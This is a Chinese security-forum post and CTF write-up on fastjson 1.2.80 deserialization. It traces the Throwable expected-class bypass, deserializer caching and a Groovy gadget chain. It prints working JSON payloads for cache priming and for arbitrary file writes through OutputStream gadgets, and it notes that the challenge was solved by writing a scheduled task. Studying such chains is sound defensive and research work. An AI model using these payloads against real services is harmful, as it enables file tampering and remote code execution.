6
⌥
code
code
技术社区
安全培训
技术社群
积分商城
先知平台
漏洞库
注册
登录
从FastJ学习fastjson1.2.80反序列化
1174735059082055
发表于 四川
历史精选
96浏览 · 2025-05-28 13:44
从FastJ学习fastjson1.2.80反序列化
fastjson 1.2.80 反序列化
在 fastjson1.2.68 后期望类黑名单中新添了 AutoCloseable,Runnable,Readable 这三个类,导致以前的 1.2.68 的链子无法使用了,不过这种黑名单的修复方法可以通过找个新的期望类进行绕过,这个期望类就是 Throwable,当然光靠这个期望类还是无法利用的,还需要配上新的缓存机制——fastjson反序列化符合条件的期望类时,会将setter参数、public字段、构造函数参数类型加到缓存中。
缓存 ProcesssingUnit
先看这段 payload
9
1
2
3
4
5
{
"@type"
:
"java.lang.Exception"
,
"@type"
:
"org.codehaus.groovy.control.CompilationFailedException"
,
"unit"
:
{
}
}
写个测试类
9
1
2
3
4
5
6
7
8
public
static
void
main
(
String
[
]
args
)
{
String
payload1
=
"{\n"
+
" \"@type\":\"java.lang.Exception\",\n"
+
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n"
+
" \"unit\":{}\n"
+
"}"
;
JSONObject
.
parse
(
payload1
)
;
}
从
JSONObject.parse
进入,然后一直跟到 checkAutoType() 方法中,
进入到该方法,看到直接从 Mapping 中取出我们的 Exception 类。这是因为在
TypeUtils
类初始化的时候会向 Mapping 中添加缓存类,其中就包括了 Exception,
然后回到
DefaultJSONParser
类继续执行,根据拿到的类
java.lang.Exception
获取反序列化器
因为
java.lang.Exception
是继承
Throwable
类的,所以最后会获得
ThrowableDeserializer
类型的反序列化器;
然后调用
ThrowableDeserializer.deserialze
方法,
在这里面会获取到第二个
@type
字段中的类名,带入checkAutoType(),并且把
Throwable.class
作为期望类。
跟进
checkAutoType()
方法,先设置
expectClassFlag
为
true
,
然后是黑名单的判断,看到虽然 autotype 为 false ,但是因为 expectClassFlag 为 true 所以还是会进入到判断,
最后会加载类
org.codehaus.groovy.control.CompilationFailedException
,然后将其放入Mapping中
加载后继续利用
ThrowableDeserializer#deserialze
获取字段,根据key实例化出
FieldDeserializer
进一步处理。
调用
TypeUtils.cast
进行类型转换,这里会进入 Map 这个分支,
跟进到
castToJavaBean
中,根据构造方法参数类型 clazz 获取反序列化器,clazz 为 ProcessingUnit,
然后在
getDeserializer
方法中看到会把这个类和 deserializer 添加进
com.alibaba.fastjson.util.IdentityHashMap#buckets
中,
看到如果把 ProcesssingUnit 添加到了缓存中,后续恢复 ProcesssingUnit 类的时候就可以直接从
this.deserializers.findClass(typeName)
就可以获得了(虽然我们这里要用的是 ProcesssingUnit 的子类),
groovy 利用链
接着是进行利用的 payload
同样识别到
@type
标识符进入
checkAutoType
方法判断,上面提到在调用
getDeserializer
方法的时候会将
ProcesssingUnit
对应的反序列化器加入到
deserializers
中
这里会根据 typename 去
deserializers
中寻找,直接获得了 clazz
然后返回出去获得反序列化器,是 JavaBeanDeserializer
接着调用JavaBeanDeserializer.deserialze 方法,继续跟进
deserialze
方法,设置
typeName
为
org.codehaus.groovy.tools.javac.JavaStubCompilationUnit
设置期望类为
class org.codehaus.groovy.control.ProcessingUnit
,然后进入 checkAutoType
这里会像上面第一个 payload 一样,在
checkAutoType
中调用
TypeUtils.loadClass
加载类然后调用
TypeUtils.addMapping
将
JavaStubCompilationUnit
加入 mapping。
恢复了 JavaStubCompilationUnit 后续就是正常的 fastjson 反序列化了,先会调用到
setClasspathList
设置路径
然后是构造函数最后触发 sink 点进行恶意类利用。
完整 poc
最后成功弹出计算机
FastJ
参考:
2025第三届京麒CTF挑战赛 writeup by Mini-Venom
这道题需要先参考另一条利用链:
https://xz.aliyun.com/news/16145
,这条链是缓存的 InputStream 类,然后进行了读写文件操作,原理其实和上面是一样的,这里看看其缓存的 poc
第一段先把 InputCoercionException 的构造函数参数类型进行缓存,也就是 JsonParser 类。接着把 JsonParser 类当作期望类缓存了 UTF8StreamJsonParser 的构造函数参数类型也就是我们的目标类的父类 InputStream ,后续就是正常的读文件和写文件利用了。
读文件
写文件
但是这道题只引入了 fastjson 1.2.80 的依赖,没有 common-io 依赖,所以利用上面的 poc 肯定是不行了
而想到原生的文件操作利用链,可以参考一下这篇文章:
https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记/
。
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"@type"
:
"java.lang.AutoCloseable"
,
"@type"
:
"sun.rmi.server.MarshalOutputStream"
,
"out"
:
{
"@type"
:
"java.util.zip.InflaterOutputStream"
,
"out"
:
{
"@type"
:
"java.io.FileOutputStream"
,
"file"
:
"/tmp/asdasd"
,
"append"
:
true
}
,
"infl"
:
{
"input"
:
{
"array"
:
"eJxLLE5JTCkGAAh5AnE="
,
"limit"
:
14
}
}
,
"bufLen"
:
"100"
}
,
"protocolVersion"
:
1
}
这里利用的 MarshalOutputStream 类其实也是继承于 OutputStream 的,所以我也可以通过缓存 OutputStream ,然后把其作为期望类进行利用。fastjosn1.2.80 中过滤了 FileOutputStream 类,这个类在 gadget 中起到设置路径的作用,题目给了其子类进行绕过
所以利用 poc 如下,写入的数据需要利用 openssl zlib 方式的压缩
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"@type"
:
"java.io.OutputStream"
,
"@type"
:
"sun.rmi.server.MarshalOutputStream"
,
"out"
:
{
"@type"
:
"java.util.zip.InflaterOutputStream"
,
"out"
:
{
"@type"
:
"com.app.FilterFileOutputStream"
,
"name"
:
"E:/tmp/2.txt"
,
"prefix"
:
"/"
}
,
"infl"
:
{
"input"
:
{
"array"
:
"eJxLLE5JTCkGAAh5AnE="
,
"limit"
:
14
}
}
,
"bufLen"
:
"100"
}
,
"protocolVersion"
:
1
}
缓存的链子可以直接根据 InputStream 链子找,我们找和 UTF8StreamJsonParser 功能相反的类
里看到
UTF8JsonGenerator
的参数类型就是 OutputStream
接着同样的道理,其继承于 JsonGenerator 类,现在需要找继承了 Exception 然后参数类型是 JsonGenerator 的类,这个全局搜一下就能找到
直接照着缓存 InputStream 类的 gadget 进行构造就行了,得到 OutputStream 的缓存链,
99
1
2
3
4
5
6
7
8
9
10
{
"a"
:
"{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": {} }"
,
"b"
:
{
"$ref"
:
"$.a.a"
}
,
"c"
:
"{ \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"out\": {}}"
,
"d"
:
{
"$ref"
:
"$.c.c"
}
}
传入缓存 poc,接着传入上面的利用 poc,看到通过 deserializers 缓存获得了 java.io.OutputStream 类
接着 OutputStream 作为期望类,把后面的危险类全部加入了 Mapping 缓存从而在 autoType 为 false 的情况下完成了反序列化利用。
最后成功写入文件
然后看师傅文章说题目是通过写定时任务进行的利用。
参考
2025第三届京麒CTF挑战赛 writeup by Mini-Venom
https://www.freebuf.com/vuls/354868.html
https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记
https://blog.s8ark.top/2024/01/30/沉浸式体验%20fastjson1.2.80的Groovy利用链/#3-调试并分析漏洞利用过程-payload2
1
人收藏
1
人喜欢
转载
分享
0
条评论
某人
表情
可输入字
评论
没有评论
发布投稿
热门文章
1
Linux Shellcode开发(Stager & Reverse Shell)
2
Windows Shellcode开发(x64 stager)
3
Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路
4
1.6K主机全域沦陷实录:从单点突破到域控接管的终极横向渗透链
5
从JDBC MySQL不出网攻击到spring临时文件利用
优秀作者
1
一天
贡献值:18800
2
T0daySeeker
贡献值:15500
3
1174735059082055
贡献值:15000
4
Yale
贡献值:14000
5
1674701160110592
贡献值:10000
6
MeteorKai
贡献值:9000
7
熊猫正正
贡献值:8000
8
Bu0uCat
贡献值:8000
9
1341025112991831
贡献值:7000
10
姓*户
贡献值:6600
目录
从FastJ学习fastjson1.2.80反序列化
fastjson 1.2.80 反序列化
缓存 ProcesssingUnit
groovy 利用链
FastJ
参考
没有评论